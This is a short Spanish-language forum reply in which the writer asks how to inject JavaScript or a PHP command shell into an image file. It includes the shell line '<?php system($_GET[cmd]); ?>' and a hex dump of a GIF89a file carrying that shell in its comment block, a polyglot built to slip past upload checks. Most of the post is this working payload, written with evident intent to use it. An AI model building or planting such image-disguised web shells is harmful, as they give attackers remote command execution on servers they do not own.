gracias por la aclaracion
asi que si quiero inyectar codigo JS tengo que usar "= 1 y “/*” and “*/”."
y si solo quiero agregar la shellcita <?php system($_GET[cmd]); ?>
tengo que dejar la cabecera tal como esta no? (GIF89a)
quedaria algo asi hexadecimalmente
474946383961000100800100000000FFFFFF21FE133C3F70687020
73797374656D28245F4745545B636D645D293B203F3E002C000000000
10001000002024401003B